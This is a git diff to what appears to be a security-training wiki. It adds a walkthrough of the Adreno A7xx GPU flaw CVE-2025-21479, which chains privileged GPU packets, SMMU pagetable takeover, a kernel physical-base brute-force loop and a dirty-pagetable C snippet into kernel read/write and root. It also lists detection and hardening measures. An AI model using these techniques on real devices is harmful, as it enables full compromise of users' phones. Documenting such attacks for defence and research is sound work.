diff --git a/src/SUMMARY.md b/src/SUMMARY.md index cf316a63f1d..1e39ae3a290 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -860,6 +860,7 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md) - [Ksmbd Streams Xattr Oob Write Cve 2025 37947](binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md) - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md) diff --git a/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md new file mode 100644 index 00000000000..537abe45c59 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md @@ -0,0 +1,152 @@ +# Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W) + +{{#include ../../banners/hacktricks-training.md}} + +This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-21479) into reproducible exploitation techniques: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick. + +- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7. +- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled. +- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root. +- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability). + +## Background: IB levels, SDS and the $12 mask + +- The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3. +- SDS is a special command stream entered via CP_SET_DRAW_STATE: + - A6xx: SDS is treated as IB3 + - A7xx: SDS moved to IB4 +- Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB). +- Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS. + +Why it matters: + +``` +A6XX | A7XX +RB & 3 == 0 | RB & 3 == 0 +IB1 & 3 == 1 | IB1 & 3 == 1 +IB2 & 3 == 2 | IB2 & 3 == 2 +IB3 (SDS) & 3 == 3 | IB3 & 3 == 3 + | IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3 +``` + +Microcode diff example (patch switched the mask to 0x7): + +``` +@@ CP_SMMU_TABLE_UPDATE +- and $02, $12, 0x3 ++ and $02, $12, 0x7 +@@ CP_FIXED_STRIDE_DRAW_TABLE +- and $02, $12, 0x3 ++ and $02, $12, 0x7 +``` + +## Exploitation overview + +Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable. + +High-level chain +- Craft a fake GPU pagetable in shared memory +- Enter SDS and execute: + - CP_SMMU_TABLE_UPDATE -> switch to fake pagetable + - CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives + - CP_SET_DRAW_STATE with run-now flags (dispatch immediately) + +GPU R/W primitives via fake pagetable +- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write +- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads) + +Notes +- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS. +- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default. + +## Building the SDS command sequence + +- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition). +- Construct an SDS buffer containing, in order: + 1) CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable + 2) One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations + 3) CP_SET_DRAW_STATE with flags to run-now + +The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver. + +## Finding Samsung kernel physbase under physical KASLR + +Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext. + +Representative loop + +```c +while (!ctx->kernel.pbase) { + offset += 0x8000; + uint64_t d1 = kernel_physread_u64(ctx, base + offset); + if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext + uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8); + if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext + ctx->kernel.pbase = base + offset - 0x10000; + break; + } +} +``` + +Once physbase is known, compute the kernel virtual with the linear map: + +``` +_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000) +``` + +## Stabilizing to fast, reliable CPU-side kernel R/W (dirty pagetable) + +GPU R/W is slow and small-granularity. Pivot to a fast/stable primitive by corrupting your own process PTEs (“dirty pagetable”): + +Steps +- Locate current task_struct -> mm_struct -> mm_struct->pgd using the slow GPU R/W primitives +- mmap two adjacent userspace pages A and B (e.g., at 0x1000) +- Walk PGD->PMD->PTE to resolve A/B’s PTE physical addresses (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset) +- Overwrite B’s PTE to point to the last-level pagetable managing A/B with RW attributes (phys_to_readwrite_pte) +- Write via B’s VA to mutate A’s PTE to map target PFNs; read/write kernel memory via A’s VA, flushing TLB until a sentinel flips + +
+Example dirty-pagetable pivot snippet + +```c +uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); +uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); +page_map[0] = 0x4242424242424242; + +uint64_t tsk = get_curr_task_struct(ctx); +uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); +uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD); + +uint64_t pgd_off = get_pgd_offset((uint64_t)map); +uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); +uint64_t pmd_off = get_pmd_offset((uint64_t)map); +uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); +uint64_t pte_off = get_pte_offset((uint64_t)map); +uint64_t pte_addr = phys_pte + pte_off; +uint64_t new_pte = phys_to_readwrite_pte(pte_addr); +kernel_write_u64(ctx, pte_addr + 8, new_pte, false); +while (page_map[0] == 0x4242424242424242) flush_tlb(); +``` + +
+ +## Detection and hardening + +- Firmware/microcode: fix all sites masking $12 to use 0x7 (A7xx) and audit privileged packet gates +- Driver: validate effective IB level for privileged packets and enforce per-context allowlists +- Telemetry: alert if CP_SMMU_TABLE_UPDATE (or similar privileged opcodes) appears outside RB/IB0, especially in SDS; monitor anomalous bursts of 4/8-byte CP_MEM_TO_MEM and excessive TLB flush patterns +- Kernel: harden pagetable metadata and detect user PTE corruption patterns + +## Impact + +A local app with GPU access can execute privileged GPU packets, hijack the GPU SMMU, achieve arbitrary kernel physical/virtual R/W, disable SELinux and obtain root on affected Snapdragon A7xx devices (e.g., Samsung S23). Severity: High (kernel compromise). + +## References + +- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479) +- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst) +- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) +- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index bfcee2d9c07..417de671982 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -57,6 +57,12 @@ Tools that could help to search for kernel exploits are: Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Additional kernel exploitation technique: + +{{#ref}} +../../binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md +{{#endref}} + ### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 diff --git a/src/pentesting-web/xs-search/css-injection/less-code-injection.md b/src/pentesting-web/xs-search/css-injection/less-code-injection.md index b9d599deb30..6d338df2b68 100644 --- a/src/pentesting-web/xs-search/css-injection/less-code-injection.md +++ b/src/pentesting-web/xs-search/css-injection/less-code-injection.md @@ -1,4 +1,6 @@ -## LESS Code Injection leading to SSRF & Local File Read +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../../../banners/hacktricks-training.md}} LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used. @@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ * [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) -* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) \ No newline at end of file +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) +{{#include ../../../banners/hacktricks-training.md}}